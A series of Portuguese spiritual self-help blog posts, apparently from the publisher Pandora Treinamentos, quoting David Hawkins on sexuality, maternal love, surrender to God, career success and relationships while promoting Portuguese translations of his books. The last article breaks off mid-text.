“Em vez de experiência física localizada, existe sentimentos bem diferentes de expansividade e unidade que surgem por estar com a energia da outra pessoa. Talvez um segundo antes, não haveria qualquer pensamento de sexo na cabeça de ambos. O casal está esperando a torrada pular da tostadeira. Então existe um acolher que é feito nesse espaço que é claro. Em outras palavras, os parceiros largaram qualquer reticência, ressentimento ou coisa que estava impedindo que ficassem juntos.

Do próprio acolher, surge o desejo que é agora de uma natureza totalmente diferente. É o desejo de estar com e experienciar essa pessoa e sua energia. A espontaneidade do assunto não nasce do desejo, mas do espaço de vitalidade essencial e da energia de estar com a outra pessoa. É uma experiência difusa e geral e existe alegria e gratidão por experienciar pela oportunidade de estar com essa energia. A grande alegria e prazer disso trazem senso de integridade de tudo.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

A segunda parte desse artigo contém algumas práticas para sair do sexo de baixa qualidade para o sexo de alta qualidade, além de uma reflexão do posicionamento de Deus diante de tudo isso. 

Leia direto da fonte: livro “Cura e Recuperação”

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Como resultado, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

 Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Amor Maternal: frases e passagens do Dr. Hawkins

O amor maternal foi a semente que trouxe o amor de forma manifesta para a Terra. Foi a partir do cuidado e amor maternais que aprendemos a levar o Amor em todas as áreas de nossas vidas. Mais até do que isso, muitas mães conseguem demonstrar a incondicionalidade do seu Amor nas mais diversas circunstâncias. 

Nesse artigo, compilamos o que foi falado sobre maternidade nos livros escritos pelo dr. David Hawkins, dentro de uma série progressiva de livros baseada nas revelações da pesquisa da consciência.

Amor Maternal: a semente do amor na Terra

Quando a vida começou na Terra, mesmo antes de surgirem os seres humanos, não era possível observar o Amor se manifestando. O que se manifestava eram relações de predador e vítima focadas em sobrevivência. A vida na Terra começou com bactérias, depois insetos e surgiram os répteis e dinossauros. Um exemplo vivo dessa era, hoje na Terra, é o Dragão de Comodo, que só quer saber da sua própria sobrevivência.

Só quando os mamíferos surgiram, é que começamos a pensar no próximo. Esse cuidado não começou na relação entre homem e mulher que ainda seguia muito dos impulsos animais, assim como acontecia também nas interações sociais. É auto evidente que começou com a mãe cuidando e protegendo dos seus filhos. Foi assim que homens e mulheres aprenderam o que é amar e se sentir amado.

“Apenas recentemente o amor surgiu no planeta, a primeira vez que apareceu foi nas aves e nos mamíferos por meio do amor materno. É bom saber que se preocupar com os outros (…) é extremamente recente na evolução da consciência ao longo de milênios. Este fato provoca valorização da presença do amor na nossa era atual, e esta mesma valorização tem o efeito de aumentar essa presença do amor.” – Dr. David Hawkins,  “The Map of Consciousness Explained”

“Com a evolução da vida dos mamíferos, observamos pela primeira vez uma verdadeira preocupação sustentável pelos outros. Assim, o amor se apresentou pela primeira vez no planeta através do feminino, o qual expressa preocupação e cuidado.” – Dr. David Hawkins, “The Map of Consciousness Explained”

A semente de Amor na Evolução

“Do ponto de vista evolutivo, o amor aparece primeiro como instinto materno, e o homem não participa desse campo de energia até relativamente tarde na evolução. Na verdade, o amor romântico é um fenômeno muito recente da cultura humana. Do coração, através da evolução, a energia espiritual resulta em criatividade, discernimento espiritual e, por fim, consciência espiritual avançada.” – Dr. David Hawkins, “Truth vs falsehood”

“O princípio do que mais tarde emergirá como amor e a progressão da consciência em geral aparece primeiro no reino animal em sua forma primitiva como proteção dos ovos e dos filhotes. Isso evolui nos animais superiores para o instinto maternal.” – Dr. David Hawkins, “Truth vs falsehood”

“Na ave que é mãe, vemos o cuidado com a prole. O réptil não se importa com o outro; a mãe réptil põe os ovos e se afasta. Mas a mãe ave se preocupa com a sobrevivência dos ovos e dos filhotes.” – Dr. David Hawkins, “The Map of Consciousness Explained”

“O amor também aparece no reino animal manifesto na forma do rabo abanando do cachorro e do ronronar do gato, e também se expressa como amor materno em sua natureza de auto sacrifício.” – Dr. David Hawkins, Transcending The levels of consciousness”

“Do nível de consciência 200 para cima, a natureza da vida torna-se mais harmoniosa. O cuidado materno aparece, juntamente com a preocupação com os outros, a lealdade à matilha, a identificação com os outros e o início do que mais tarde se expressa na natureza humana como parentesco, socialização, brincadeira, união familiar e de pares e cooperação grupal para objetivos compartilhados, como a sobrevivência através de atividades comunitárias.” – Dr. David Hawkins, “Transcending The levels of consciousness” e “The Map of Consciousness Explained”

Amor Maternal: fisiologia e cultura

Ao longo da evolução, o amor maternal está relacionado a mudanças em como o cérebro se comporta, o que pode ser visto a partir dos mamíferos. Isso refletiu na cultura e comportamento da sociedade trazendo uma base sólida para que se desenvolvam matriarcas e patriarcas na nossa sociedade.

“Há também a liberação de oxitocina e vasopressina para a amígdala (centro emocional), que se relaciona com instintos maternos, comportamento paterno, vínculo de pares e capacidade social por meio do “cérebro social” (Moran, 2004) dos mamíferos.” – Dr. David Hawkins, “Transcending The levels of consciousness” e “Truth vs Falsehood”

“Antes da Segunda Guerra Mundial, a economia americana era 50% agrária. Metade da América vivia em fazendas onde o trabalho era dividido igualmente entre homens e mulheres e, dentro de casa, as mulheres eram muito apreciadas. Por respeito, os homens renunciavam a vulgaridade, levantavam-se quando as mulheres entravam na sala e abriam as portas para elas. No geral, a mulher, especialmente a mãe, era honrada e reverenciada e tinha autoridade sobre os aspectos domésticos da vida, enquanto os homens cuidavam das colheitas, do gado e do equipamento.” – Dr. David Hawkins, “Truth vs Falsehood”

Amor Maternal: presente ao longo da vida

O amor materno é visto em forma de auto sacrifício, ou seja, um sacro ofício de cuidar de outra vida e ser a referência para que as crianças cresçam saudáveis e com valores. É um amor que pode ser visto desde os atos mais simples do dia a dia até a capacidade de doar até sua vida para poder salvar seus filhos.

“A pessoa comum costuma ser apática em várias áreas da vida, mas apenas periodicamente enfrenta uma apatia esmagadora em relação a toda a situação de sua vida. Apatia indica falta de energia vital e está perto da morte. Isso foi observado durante a blitz da Segunda Guerra Mundial em Londres. Os bebês eram removidos para berçários e áreas remotas e seguras da Inglaterra, onde suas necessidades físicas, nutricionais e médicas eram bem atendidas. No entanto, os bebês desenvolveram apatia e começaram a adoecer; eles perderam o apetite e a taxa de mortalidade foi alta. Descobriu-se que a apatia resultava da falta de carinho e proximidade emocional com a figura materna. Era um estado emocional e não físico. Sem amor e carinho, perderam a vontade de viver.” – Dr. David Hawkins, “Deixar Ir”

“O amor se expressa de muitas maneiras. (…) A mãe limpa a calça suja de uma criança pequena com diarréia, dizendo: “Querido, não é sua culpa; não tinha como você evitar isso.”.” – Dr. David Hawkins, “Deixar Ir”

Amor Maternal: o amor incondicional que algumas mães atingem

O amor materno pode atingir um estado de amor incondicional onde o amor não depende do que o filho tenha, faça ou até mesmo do que ele se torne. A mãe nesse estado consegue separar o ator do ato, e amar seu filho independente de qualquer que seja a situação que se manifeste na vida dele.

Amor verdadeiro é amor incondicional. Amor incondicional é uma decisão que tomamos dentro de nós. O processo é de intenção e de decidir ser uma pessoa amorosa. Se eu decidir amar você, essa é minha decisão interna. Não há nada que a outra pessoa possa fazer sobre isso. Assim, não se é vítima do que acontecer no mundo porque a decisão de amar cria um campo de energia estável de incondicionalidade.

O comportamento da outra pessoa pode não ser agradável ou contributivo para o que se deseja, mas isso não muda a amorosidade. Por exemplo, a mãe que visita seu filho que é um assassino na prisão por vinte anos ainda ama o ser, o “é” de quem ele realmente é. Claro que seu comportamento não a faz feliz, mas o amor é incondicional, não importa o que ele faça. Vemos exemplos no mundo de amor incondicional materno, e do amor nos grupo de 12 passos, como no AA. O amor incondicional não se importa com o que tem ou com o passado.” – Dr. David Hawkins, “Cura e Recuperação”

O Amor Incondicional está disponível para todos, mesmo para quem não recebeu dos pais

“O amor incondicional é também o poder da mãe e do pai, cuja presença é tão essencial para que os filhos aprendam a amar à medida que crescem. Foi Sigmund Freud quem observou que a coisa mais feliz que pode nos acontecer ao crescer é ser o filho favorito de nossa mãe.

E aqueles de nós que não tiveram a feliz experiência de serem banhados em amor incondicional enquanto cresciam? Existe a crença comum de que, se não tivéssemos essa experiência, ficaríamos de alguma forma marcados ou aleijados para o resto da vida; na verdade, não é assim. Uma pessoa que experimentou muito amor no início da vida tem menos medos e uma vantagem inicial, mas esse amor é intrínseco a todos nós. Pela própria natureza do nosso ser e pela própria natureza da energia vital que flui através de nós e nos capacita a respirar e pensar, todos nós temos o mesmo nível de energia vibracional do amor dentro de nós.” – Dr. David Hawkins, “Deixar Ir”

Passagens do dr. Hawkins com a sua mãe

No livro “Cura e Recuperação” há duas passagens do dr. Hawkins com a sua própria mãe. Em uma delas, ele conta sobre um momento na sua infância em que a mãe o ensinou a enfrentar seus medos. A outra é sobre o momento em que sua mãe falece. Essa passagem é lindamente detalhada no livro, mas aqui colocamos apenas um pequeno trecho, dentro do propósito do artigo.

Passagem do dr. Hawkins com a sua mãe quando criança

“Quando criança, alguém na minha rua me contou sobre o bicho-papão. Minha mãe ridicularizava essas coisas de bicho-papão, fantasmas e coisas parecidas, mas de alguma maneira, por causa da persuasão das crianças mais velhas (pois ele falava como se soubesse do que estava falando), fiquei com medo do bicho-papão. Minha mãe me pegou pela mão e me levou ao porão escuro da casa com uma lanterna e procurou em todos os lugares pelo bicho-papão. Ele não foi achado lá, nem nos armários, atrás das cortinas ou em qualquer lugar da casa, inclusive o sótão. 

É muito útil ter alguém conosco quando observamos o medo, pois é a nossa criança inconsciente que está com medo. Nossa criança interior não compreende a natureza da vida real nesse mundo, então surge e diz “Nossa, sem isso não vou conseguir sobreviver.”.” Dr. David Hawkins, “Cura e Recuperação”

Passagem do dr. Hawkins com a sua mãe quando ela faleceu

“E lá estava minha mãe, com seu tanque de oxigênio e todos os tipos de tubos, junto com vários tipos de medidores e coisas eletrônicas para fazer o seu coração bater. De repente, assim que entrei no quarto, naquele momento, sabia que ela havia acabado de deixar o corpo, e experienciei seu absoluto êxtase ao sair. Ela estava tão feliz de deixar o corpo. Foi como um estado de infinito êxtase e alegria e eu estava fisicamente em unidade com ela na experiência – senti exatamente o que ela estava sentindo.” – Dr. David Hawkins, “Cura e Recuperação”

Admiração do dr. Hawkins pela matriarca da família 

No livro “O Sucesso é para você”, o dr. David Hawkins relata sobre um ensinamento matriarcal da sua avó que o marcou profundamente, mas que ele só compreendeu realmente depois de se tornar um homem maduro.

Quando eu era bem jovem, tive uma avó que era descrita por todos como santa. Lembro que ela costumava dizer: “Se você não tem nada de bom a dizer sobre alguém, então não diga nada”. Fiquei intrigado com isso por um longo tempo. Foi somente quando me tornei clinicamente experiente após muitos anos fazendo psicoterapia, onde pude ver os resultados desses princípios em operação, que comecei a entender o que ela queria dizer.” – Dr. David Hawkins, “O Sucesso é para você”

Por fim, desejamos que o amor que as mães ajudaram a semear nesse mundo, esteja sempre presente em nossos corações! Feliz Dia das Mães a todos!

Leia direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

No livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). Já no “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. No “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. E esses são apenas os livros citados no artigo que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. 

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Afinal, o que significa “Gloria In Excelsis Deo”?

Gloria In Excelsis Deo!

“A espontaneidade da vida é uma expressão das essências interagindo sem esforço. O milagre da Criação é contínuo, e toda a vida é compartilhada na Divindade da sua Fonte, já que nada se manifesta exceto por ordenação Divina. Uma vez que a sacralidade da vida é revelada, aí surge o conhecimento do que significa a frase, “Gloria in Excelsis Deo!”.” 

Dr. David Hawkins em “The Ego is Not the Real You”, Parte III, pág. 92

O ego acha que é deus

“Gloria in Excelsis Deo!” significa aceitar que “Tudo é Perfeito Como É” porque tudo faz parte da criação Divina. Toda vez que não aceitamos a realidade como é, é como se pensássemos: “Deus é injusto e se eu fosse deus eu faria melhor”. Secretamente, todos nós acreditamos ser Deus. O nosso ego acredita que sabe o que é justo e o que é injusto, o que é certo e o que é errado, o que deveria acontecer e o que não deveria acontecer. É justamente por acreditar nisso que estamos aqui vivendo essa experiência do que é ser humano.

Adão e Eva

Na analogia de Adão e Eva, a árvore da vida representa os princípios divinos e a maçã representa a vontade de querer conhecer e julgar esses princípios (ou seja, a vontade de ser Deus). Ao morder a maçã, escolhemos ser o próprio deus ao invés de servir a Deus. O que isso significa? Significa que nós temos o livre arbítrio e são as escolhas que nos afastam de Deus, que geram sofrimento por si só, pelo simples fato de nos distanciarem da nossa essência. 

Fonte: Aula da Mentoria Superconhecimento em 15/mar/2023 – Pandora Treinamentos

Deus é Infinito, Infinita Bondade, Infinita Justiça, Infinita Verdade, Infinito Amor e Infinita Paz. Como tal, ele não usa de força. Ele age com Poder. É justamente por isso que temos o livre arbítrio, a essência de Deus jamais permitiria que ele nos forçasse a nada. No livro “Poder vs. Força”, o doutor Hawkins nos explica justamente a diferença entre o uso do Poder, que tem a intenção de servir ao contexto, de aceitar as coisas como são e simplesmente viver em Amor, que é o Verdadeiro Poder, em comparação a força que é usar de força para tentar manipular a realidade a nosso próprio favor.

O dr. Hawkins dedicou toda a sua carreira para nos tirar do interminável ciclo mental de descobrir o que é “justo” e o que é “injusto”, um imenso labirinto onde tudo pode ser válido (relativismo) e só a nossa mentalização sabe a resposta (mais uma vez o ego brincando de ser deus). Ele nos ensinou a sair do relativismo, onde qualquer ponto de vista é válido, e ir para o Absolutismo, onde existe um Deus que é Amor e Paz e nosso único propósito é aceitar isso e escolher servir a Deus. 

Escolher servir a Deus

Servir a Deus não é sobre fazer coisas mirabolantes, nem colocar o outro acima de si, ao contrário disso é colocar Deus acima do ego de qualquer pessoa. É aceitar uma ordem de prioridade nos relacionamentos em que primeiro está Deus, depois meu relacionamento comigo mesmo no qual eu aprendo a priorizar Deus e depois o outro. 

“Quem sou eu para ser brilhante, maravilhoso, talentoso e fabuloso?
Na realidade, quem é você para não ser?
Você é filho de Deus.

Você se fazer de pequeno não ajuda o mundo.
Não há nenhuma bondade em você se diminuir, recuar para que os outros não se sintam inseguros ao seu redor.

Todos nós fomos feitos para brilhar, como as crianças brilham.
Nascemos para manifestar a glória de Deus que está dentro de nós.
Não está apenas em um de nós, está em todos nós.”

Marianne Williamson

Servir a Deus é nos reconhecer como responsáveis pela nossa própria realidade. É reconhecer que a nossa essência é Amor, e tudo o que se reflete, na forma, diferente disso, é porque há algum aprendizado que precisa ser transcendido. Os problemas que acreditamos estarem fora de nós, como desemprego, violência, pobreza, na verdade, estão no âmbito da consciência. 

Na verdade, é sobre o livre arbítrio de escolher viver na vergonha pela sua situação de vida, culpando o governo, o mundo ou o outro pelo que acontece com si mesmo, apático sem tomar atitudes, triste pelo mundo ser como é, com medo de todas as tragédias que podem acontecer, desejando que o mundo fosse diferente, com raiva porque as coisas não são como queremos e orgulhosos do que se conquistou, afinal, foi apenas mérito próprio. 

Impacto do nível de consciência na vida mundana

Veja no quadro abaixo os índices de desemprego, violência e pobreza por nível de consciência. 

Tabela

Descrição gerada automaticamente
Fonte: Palestra dr. David Hawkins em 14/jun/2008

Mesmo o orgulho ainda não traz a verdade, nenhum fator isolado é capaz de causar outro. Há sempre uma sincronicidade infinita de fatores para que qualquer coisa aconteça. A criação e a evolução não são duas coisas distintas, são, na verdade, a mesma coisa. A evolução é a forma como a criação acontece. Nada depende exclusivamente de um ego humano, a realidade é muito distante disso. Tudo faz parte da lei do carma que se desdobra conforme as escolhas de cada um.

“Tudo está acontecendo por si só, nada causa nada”.

A lei do carma não apresenta nenhum tipo de punição. É Amor. Imagina você colocar um assassino raivoso para viver em um paraíso cheio de flores, onde toca música clássica o dia todo. Para ele, seria o inferno e não o paraíso! O amor aceita o que é, e não cria nenhuma resistência (força) em permitir que o outro seja o que é. 

Ao amar, aceitamos que um leão é um leão e precisa matar outros animais para se alimentar. Aceitamos também o que é ser humano. Ser humano é ter liberdade de escolha entre agir como um leão feroz ou ser um filho de Deus. A lei do carma é uma profunda aceitação do que se é, com respeito ao livre arbítrio e total sincronicidade entre os aprendizados de cada ser vivo. A lei do carma, então, é sobre Amor. 

Corrupção Espiritual

A corrupção espiritual vem do caminho oposto do que é proposto por “Gloria In Excelsis Deo!”, é escolher “glória a mim” ao invés de “Gloria a Deus”. Isso aconteceu, por exemplo, com Napoleão Bonaparte, quando decidiu se auto coroar ao invés de ser corado pelo Papa, como todos os seus antecessores. Ele escolheu colocar o seu ego acima de Deus.

Hoje vemos visões progressistas deturpadas, onde há um fortalecimento na crença em que há vítimas para todo o lado, e que o mundo é injusto como é. O vitimismo é uma ilusão, reflexo de achar que o “eu” faria melhor que “Deus”. 

Muitos intelectuais se afastam de Deus porque acham que ao entregar o que acontece a Deus, ou ao acreditar que existe um plano Divino para nós, a pessoa se torna vítima da situação. Na verdade, acreditar em Deus é sair da posição de vítima, e entender que podemos aprender com toda e qualquer situação da nossa vida. Toda a situação que vivemos é a situação perfeita para a nossa evolução, já que faz parte da criação Divina. Compreender isso é nos libertar e ir muito mais longe na vida. Acreditar em Deus é o que realmente nos dá o Poder de ir além.  

Conclusão

O dr. David Hawkins dedicou toda a sua carreira para nos ensinar a assumir responsabilidade sobre a nossa própria vida e nos conectar com a nossa Verdadeira Essência Divina. Ele nos ensinou a sair de um mundo onde há uma visão de predador e vítima o tempo todo para um mundo onde a gente escolhe servir a Deus e evoluir. Um mundo onde entregamos nossos julgamentos a Deus. Assim, o dr. Hawkins nos ensinou a sair do relativismo onde todos os pontos de vista são válidos e compreender o Absolutismo, onde tudo é criação divina, o “Gloria In Execelsis Deo!”. 

Leia Direto da Fonte

No livro “Poder vs. Força”, ele nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus).

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Já no livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. E esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Gloria In Excelsis Deo!

Nota: Toda vez que escrevemos deus com letra minúscula estamos nos referindo a uma visão que o ego tem de Deus que não reflete a Verdade.

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Como conquistar objetivos profissionais?

Esse é um artigo inspirado no “Capítulo 19: Conquista de Objetivos Vocacionais” do livro “Deixar Ir”. Aqui, vamos te dar as principais chaves para conquistar seus objetivos profissionais.

Sentimentos e Habilidades

O que vai determinar nosso sucesso ou falha no mundo profissional é a qualidade dos nossos próprios pensamentos. Mesmo nossos talentos e habilidades só são expressos à medida que nossos pensamentos determinam. Portanto, o maior desafio que temos nesse sentido está dentro de nós e não fora. 

“Os sentimentos determinam os pensamentos e os pensamentos que mantemos em mente, determinam o nosso resultado.”

Como, então, lidar com esses sentimentos? Primeiro, precisamos observar se são sentimentos positivos ou negativos. E se forem negativos, deixá-los ir!

Sentimentos Negativos Relacionados ao Trabalho

É fácil identificar os sentimentos negativos porque são desagradáveis e por vezes até dolorosos. Eles expressam uma qualidade de “não consigo!”. São sentimentos de raiva, tristeza e ansiedade. A atitude mais comum que as pessoas têm com esses sentimentos é suprimi-los, achando que assim vão se livrar disso. Mas, na verdade, esses sentimentos suprimidos se manifestam em pensamentos negativos, que vão afetar a maneira como enxergamos e lidamos com as situações. Isso nos revela a frase de destaque abaixo.

“Negatividade não existe dentro de uma situação ou um evento; em vez disso, ela reside nas nossas reações às situações conforme as vemos.”

Um dos sentimentos que mais bloqueiam o sucesso profissional é a inveja daquele que conseguiu sair desse tal de “não consigo!”. Por que o outro consegue e eu não? Quando há inveja, a conquista do outro, ao invés de nos inspirar, se torna uma ameaça, ativa um sentimento de falta e de que somos inadequados.

Inveja

Nos sentirmos inadequados é o motivo pelo qual a inveja é tão dolorosa. E ao invés disso motivar a sair da dor, as pessoas ficam presas nesse ciclo, já que o desejo (de ser o que o outro é) repele justamente o que queremos. É um ciclo de achar que todos estão contra nós, de desabafos infinitos com a família, de ficar vendo TV, dormindo, comendo e/ou tomando álcool.

Paradoxalmente, é justamente a inveja que nos bloqueia. Não tem nada a ser resolvido fora de nós. É como no filme “Carruagens de Fogo”, que o personagem perde a linha de chegada em milésimos de segundos porque se virou para ver onde estava seu oponente na corrida. Assim que ele tira seu foco da corrida e o coloca no seu oponente, ele perde. Assim é a vida! Quem ganhou estava motivado pelo puro amor de correr e dar o seu melhor.

O caminho para deixar ir os sentimentos negativos é observar que as recompensas baratas que vem deles não se comparam ao que estamos perdendo por nos prender a essa negatividade. Na prática, isso significa abrir mão de coisas como: culpar os outros pelo nosso fracasso ou sentir simpatia por aqueles que escutam as nossas reclamações. O resultado é nos tornarmos aquele que faz com amor e dá o seu melhor, aquele que aprecia o seu sucesso e o do outro, enfim, o vencedor da corrida!

Sentimentos Positivos Relacionados ao Trabalho

Os sentimentos positivos são a essência de quem somos, são o nosso estado natural. Portanto, ao deixar ir os sentimentos negativos, os positivos surgem espontaneamente. Eles expressam uma qualidade de “eu consigo!”; “nós conseguimos!”. São sentimentos de alegria, felicidade e segurança.

“Quando as nuvens são removidas, o sol brilha. (…) É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que rendemos as nuvens da negatividade que previnem a sua revelação para nós.”

Sentimentos e o Processo de Tomada de Decisão

Vamos simplificar esse processo em 3 estágios conforme os níveis de consciência: inerte, enérgico e pacífico. 

Inerte

A tomada de decisão inerte acontece nos níveis emocionais de apatia, tristeza e medo. Isso reflete nos seguintes pensamentos na hora de tomar a decisão: “eu não sei”, “eu não tenho certeza”, “eu acho que eu não consigo”. É justamente esse ciclo de pensamentos inúteis que nos incapacita de enxergar o melhor para o contexto. 

Uma solução que saia desse campo de energia não será duradoura, o que reflete em uma perda ainda maior da confiança em nós mesmos e dos outros em nós. O melhor aqui é deixar ir essas emoções e sair desse estado antes de tomar a decisão. 

Energético

A tomada de decisão no padrão energético acontece nos níveis emocionais de desejo, raiva e orgulho. Aqui, é permitido que fluam alguns pensamentos positivos, mas esses ainda se misturam com os negativos. É um estado de querer “conquistar” e “provar a si mesmo”. 

O maior motivador aqui é o ganho pessoal. Não há nenhuma preocupação com o bem-estar dos outros. Isso gera situações ganha-perde, ao invés de ganha-ganha. Assim, as decisões são, no geral, insustentáveis e o sucesso se limita ao ganho pessoal, o que passa longe da excelência.

 Pacífico

A tomada de decisão no padrão pacífico acontece nos níveis emocionais de coragem, aceitação e amor. É um estado de paz, com sentimentos puramente positivos que permitem foco total na situação e assim nos capacita a observar todos os detalhes relevantes. 

Sem toda aquela preocupação, surgem as ideias que, de fato, resolvem o problema. As decisões são tomadas com o foco em que todos os envolvidos se beneficiem, assim gerando um contexto de ganha-ganha. Vamos descobrir que ao atender as necessidades de todas as pessoas, as nossas próprias necessidades também são atendidas. É aqui que mora a excelência e os projetos nobres que beneficiam toda uma sociedade. 

“Se olharmos para uma situação e afirmarmos que uma solução ganha-ganha não é possível, isso deve nos alertar de que temos algum sentimento interno não rendido que está bloqueando uma solução possivelmente perfeita.”

Sentimentos e Habilidades de Vendas

Vamos observar a relação entre os 3 níveis básicos de consciência e a habilidade de vendas em si.

Inerte

Como falamos acima, o estado inerte é governado pelas emoções de apatia, tristeza e medo. Nas vendas, isso representa um estado de “os clientes não querem meu produto”. Isso, claro, é o que os vendedores nesse estado mais escutam! A atividade de vendas, pela sua própria natureza, expõe os vendedores a rejeição e desapontamento.

Ao estar nesse ciclo, tudo que os vendedores mais querem é fugir desse estado com infinitos cafés e bate-papo sobre a vida pessoal. Esses sentimentos dos quais querem fugir são justamente o que prejudicam seu foco e diminuem suas habilidades, reduzindo cada vez mais sua autoestima e gerando uma expectativa de fracasso.

“Quando pensamentos de fracasso são mantidos em mente, o fracasso é precipitado nas situações de vendas.”

Energético

O nível energético é baseado nos sentimentos de desejo, raiva e orgulho. Nas vendas, isso representa um estado de “eu quero que eles comprem isso, assim terei uma boa comissão”. É claro que isso gera resistência por parte dos compradores, que podem captar isso. 

Ainda assim, já é possível bater as metas de vendas, mas como o foco do vendedor é o seu próprio ganho, muitas vezes os clientes saem insatisfeitos. Eles percebem os comportamentos no quais: o vendedor fala mais do que ouve seu cliente, força a barra para fechar negócio e fecha coisas prematuramente, gerando problemas de pós-venda. O contexto que se desdobra do padrão energético é o ganha-perde.

 Pacífico

O nível pacífico é o nível mais alto porque é baseado nos sentimentos de coragem, aceitação e amor. Nosso foco não poderia estar melhor. Aqui, a mente está em paz, assim o vendedor consegue escutar o cliente e mais do que isso, transformar problemas em soluções. 

Os clientes ficam satisfeitos e se tornam fiéis, por vezes até se tornam amigos. Há segurança de que as metas serão batidas porque existe uma certeza interna de que uma solução ganha-ganha pode existir em cada uma das situações. 

Não estamos falando de visualizações, técnicas de vendas, pensamentos positivos, afirmações escritas, nada disso. Não é sobre forçar o pensamento a ser positivo. É sobre deixar ir os sentimentos negativos para que o positivo flua naturalmente, como reflexo de quem a gente é. 

Temos o exemplo de uma vendedora de uma galeria de artes que não vendia nada há semanas e fez todas essas coisas que citamos acima. Nada funcionou! Quando chegou no desespero, se rendeu a deixar ir toda essa negatividade. Saiu desse estado de luta, de “ter que vender”. Ela estava em paz e em apenas uma hora depois de chegar nesse estado vendeu duas esculturas que, curiosamente, se chamava “Deixar Ir”.

“Uma mente concentrada em um pensamento positivo tem o poder de aumentar a probabilidade que o pensamento positivo vai se materializar no mundo dos eventos.”

Gloria In Excelsis Deo!

Leia direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

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Relacionamentos: um guia prático e amoroso das interações sociais (Parte 2)

Esse artigo é o segundo de uma série de dois artigos sobre Relacionamentos, baseados no “Capítulo 18: Relacionamentos” do livro “Deixar Ir, o Caminho do Desapego”. Logo, se você ainda leu a primeira parte, clique aqui.

A condição humana 

Somos humanos, e como tal, todos nós sentiremos emoções negativas, não é exclusividade de um ou outro. Aceitar a nossa humanidade, ao invés de nos culparmos e nos massacrarmos, é um passo essencial para começarmos essa mudança. É uma atitude não julgadora. Assim, vamos reconhecer que não somos esses sentimentos negativos, eles apenas fazem parte de ser humanos. Esses sentimentos negativos NÃO são o nosso “Eu verdadeiro”, que é um ser de Amor infinito.

Vamos começar sendo amorosos com nós mesmos. Basta observar que é só medo que está por trás de tudo isso. E o medo não passa de uma ilusão. O medo é a base de todos esses sentimentos negativos, temos medo de perder nossos relacionamentos, de perder a nossa segurança e de não sobreviver. Isso é normal. Mas, há dois problemas em como lidamos com isso.

O primeiro problema que surge ao lidar com as emoções negativas é a resistência a elas. Paradoxalmente, é justamente a resistência que mantém esses sentimentos dentro de nós. Isso não significa soltar um balde de emoções negativas nas outras pessoas ao nosso redor. Mas significa deixar que essas emoções venham à tona para que possamos rendê-las. Esse é o único propósito válido em manifestarmos essas emoções negativas em nossas vidas: rendê-las. 

O medo não nos protege

